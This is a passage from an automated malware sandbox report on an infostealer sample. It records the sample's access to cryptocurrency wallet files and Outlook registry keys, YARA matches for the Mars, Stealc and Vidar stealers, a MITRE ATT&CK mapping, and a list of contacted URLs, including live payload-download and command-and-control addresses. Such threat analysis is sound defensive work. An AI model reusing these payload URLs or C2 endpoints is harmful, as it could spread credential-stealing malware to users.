Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6636, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 12.2.a16b294260.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1966115921.0000000000D21000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1836482618.0000000000421000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1840591206.000000000170E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1965705738.0000000000634000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a16b294260.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 12.2.a16b294260.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1966115921.0000000000D21000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1836482618.0000000000421000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6636, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	3 Obfuscated Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	236 System Information Discovery	Distributed Component Object Model	11 Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	261 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	261 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/AutoIt.zstul
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	100%	Avira	TR/AutoIt.zstul
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	42%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	42%	ReversingLabs	Win32.Trojan.AutoitInject

Source	Detection	Scanner	Label
https://policies.google.com/terms/service-specific	0%	URL Reputation	safe
https://g.co/recover	0%	URL Reputation	safe
https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072	0%	URL Reputation	safe
https://policies.google.com/technologies/cookies	0%	URL Reputation	safe
https://policies.google.com/terms	0%	URL Reputation	safe
https://www.youtube.com/t/terms?chromeless=1&hl=	0%	URL Reputation	safe
https://youtube.com/t/terms?gl=	0%	URL Reputation	safe
https://apis.google.com/js/api.js	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://policies.google.com/privacy	0%	URL Reputation	safe
https://play.google/intl/	0%	URL Reputation	safe
https://families.google.com/intl/	0%	URL Reputation	safe
https://policies.google.com/technologies/location-data	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.google.com/accounts?p=new-si-ui	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://apis.google.com/js/rpc:shindig_random.js?onload=credentialservice.postMessage	0%	URL Reputation	safe
https://policies.google.com/privacy/google-partners	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://policies.google.com/privacy/additional	0%	URL Reputation	safe
https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://policies.google.com/privacy/additional/embedded?gl=kr	0%	URL Reputation	safe
https://policies.google.com/terms/location/embedded	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.google.com/accounts?hl=	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://play.google.com/work/enroll?identifier=	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/freebl3.dll	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/freebl3.dllG	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/softokn3.dll	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php4	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exerQs	100%	Avira URL Cloud	phishing
http://85.28.47.30/69934896f997d5bb/nss3.dll	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php1	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpB	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php5	0%	Avira URL Cloud	safe
https://cdn.epnacl	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://77.91.77.82/	0%	Avira URL Cloud	safe
http://85.28.47.30/	0%	Avira URL Cloud	safe
http://85.28.47.30/920475a59bac849d.php_	0%	Avira URL Cloud	safe
http://85.28.47.30.c	0%	Avira URL Cloud	safe
https://www.google.com/intl/	0%	Avira URL Cloud	safe
http://85.28.47.30/920475a59bac849d.phpd	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/msvcp140.dll	0%	Avira URL Cloud	safe
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exeData	100%	Avira URL Cloud	phishing
http://77.91.77.81/stealc/random.exe	100%	Avira URL Cloud	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exea	100%	Avira URL Cloud	phishing
http://85.28.47.30/69934896f997d5bb/nss3.dll-	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://85.28.47.30/1	0%	Avira URL Cloud	safe
https://www.youtube.com/account2=	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/mozglue.dll	0%	Avira URL Cloud	safe
http://77.91.77.81/well/random.exem-urlencoded	100%	Avira URL Cloud	phishing
https://www.youtube.com/account	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
https://play.google.com/log?format=json&hasfast=true	0%	Avira URL Cloud	safe
https://cdn.ep	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	malware
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	Avira URL Cloud	safe
http://85.28.47.30/-	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	phishing
http://77.91.77.81/well/random.exe	100%	Avira URL Cloud	malware
http://85.28.47.30/920475a59bac849d.php3	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/sqlite3.dll	0%	Avira URL Cloud	safe
http://85.28.47.30/920475a59bac849d.phpF	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php59B	0%	Avira URL Cloud	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/vcruntime140.dll	0%	Avira URL Cloud	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	Avira URL Cloud	safe
http://85.28.47.30/920475a59bac849d.phpQ	0%	Avira URL Cloud	safe
http://85.28.47.30/920475a59bac849d.php	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
http://85.28.47.30/69934896f997d5bb/sqlite3.dlla	0%	Avira URL Cloud	safe
https://www.youtube.com/account$	0%	Avira URL Cloud	safe
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
http://85.28.47.30	0%	Avira URL Cloud	safe
https://play.google.com/log?format=json&hasfast=true&authuser=0	0%	Avira URL Cloud	safe
https://www.youtube.com/accountj=&	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe.phpefoxx	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
youtube-ui.l.google.com	172.217.16.142	true	false	unknown
www3.l.google.com	142.250.185.78	true	false	unknown
play.google.com	142.250.185.206	true	false	unknown
www.google.com	142.250.186.164	true	false	unknown
accounts.youtube.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://85.28.47.30/69934896f997d5bb/softokn3.dll	true	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/freebl3.dll	true	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php	true	Avira URL Cloud: phishing	unknown
http://85.28.47.30/69934896f997d5bb/nss3.dll	true	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/msvcp140.dll	true	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/mozglue.dll	true	Avira URL Cloud: safe	unknown
https://www.youtube.com/account	false	Avira URL Cloud: safe	unknown
https://www.google.com/favicon.ico	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exe	true	Avira URL Cloud: phishing	unknown
http://85.28.47.30/69934896f997d5bb/sqlite3.dll	true	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
http://85.28.47.30/920475a59bac849d.php	true	Avira URL Cloud: safe	unknown
https://play.google.com/log?format=json&hasfast=true&authuser=0	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	EBAFHCBF.0.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	EBAFHCBF.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/freebl3.dllG	file.exe, 00000000.00000002.1840591206.000000000175D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	file.exe, random[1].exe.8.dr, a16b294260.exe.8.dr	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.1840591206.0000000001872000.00000004.00000020.00020000.00000000.sdmp, AEBKFIJEGCAAFHJKFCFC.0.dr	false	Avira URL Cloud: safe	unknown
https://play.google.com/work/enroll?identifier=	chromecache_195.15.dr	false	Avira URL Cloud: safe	unknown
https://policies.google.com/terms/service-specific	chromecache_195.15.dr	false	URL Reputation: safe	unknown
https://g.co/recover	chromecache_195.15.dr	false	URL Reputation: safe	unknown
https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072	chromecache_195.15.dr	false	URL Reputation: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	file.exe, random[1].exe.8.dr, a16b294260.exe.8.dr	false	Avira URL Cloud: safe	unknown
https://policies.google.com/technologies/cookies	chromecache_195.15.dr	false	URL Reputation: safe	unknown
https://policies.google.com/terms	chromecache_195.15.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php4	explorti.exe, 00000008.00000002.4108139417.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	chromecache_195.15.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php1	explorti.exe, 00000008.00000002.4108139417.0000000000CF9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	AEBKFIJEGCAAFHJKFCFC.0.dr	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/t/terms?chromeless=1&hl=	chromecache_195.15.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/mine/amadka.exerQs	file.exe, 00000000.00000002.1840591206.000000000170E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpB	explorti.exe, 00000008.00000002.4108139417.0000000000CF9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.1840591206.0000000001872000.00000004.00000020.00020000.00000000.sdmp, AEBKFIJEGCAAFHJKFCFC.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php5	explorti.exe, 00000008.00000002.4108139417.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.epnacl	file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exe00	file.exe, 00000000.00000002.1836482618.00000000004C6000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/	explorti.exe, 00000008.00000002.4108139417.0000000000CF9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/920475a59bac849d.php_	a16b294260.exe, 0000000C.00000002.1965705738.0000000000634000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/	a16b294260.exe, 0000000C.00000002.1965705738.0000000000679000.00000004.00000020.00020000.00000000.sdmp, a16b294260.exe, 0000000C.00000002.1965705738.0000000000634000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://youtube.com/t/terms?gl=	chromecache_195.15.dr	false	URL Reputation: safe	unknown
http://85.28.47.30/920475a59bac849d.phpd	a16b294260.exe, 0000000C.00000002.1965705738.000000000066D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/intl/	chromecache_195.15.dr	false	Avira URL Cloud: safe	unknown
https://apis.google.com/js/api.js	chromecache_202.15.dr	false	URL Reputation: safe	unknown
http://85.28.47.30.c	a16b294260.exe, 0000000C.00000002.1965705738.000000000061E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exeData	file.exe, 00000000.00000002.1836482618.000000000056A000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/stealc/random.exe	explorti.exe, 00000008.00000002.4108139417.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.30/69934896f997d5bb/nss3.dll-	file.exe, 00000000.00000002.1840591206.000000000175D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exea	file.exe, 00000000.00000002.1836482618.00000000004C6000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	EBAFHCBF.0.dr	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.1840591206.0000000001872000.00000004.00000020.00020000.00000000.sdmp, AEBKFIJEGCAAFHJKFCFC.0.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1704852784.0000000022D5D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1836482618.0000000000468000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/account2=	29c55c1284.exe, 0000000D.00000003.2244202209.0000000003D56000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2244718987.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000002.2248350185.0000000003D65000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/1	a16b294260.exe, 0000000C.00000002.1965705738.000000000066D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp, EBAFHCBF.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/well/random.exem-urlencoded	explorti.exe, 00000008.00000003.2208403006.0000000000D17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	false	URL Reputation: safe	unknown
https://cdn.ep	file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_195.15.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/-	a16b294260.exe, 0000000C.00000002.1965705738.0000000000634000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://policies.google.com/privacy	chromecache_195.15.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	false	Avira URL Cloud: safe	unknown
https://play.google/intl/	chromecache_195.15.dr	false	URL Reputation: safe	unknown
https://families.google.com/intl/	chromecache_195.15.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/cost/go.exe	file.exe, 00000000.00000002.1836482618.00000000004C6000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://policies.google.com/technologies/location-data	chromecache_195.15.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/well/random.exe	explorti.exe, 00000008.00000003.2208403006.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000008.00000002.4108139417.0000000000CF9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp, EBAFHCBF.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1704852784.0000000022D5D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1836482618.0000000000468000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
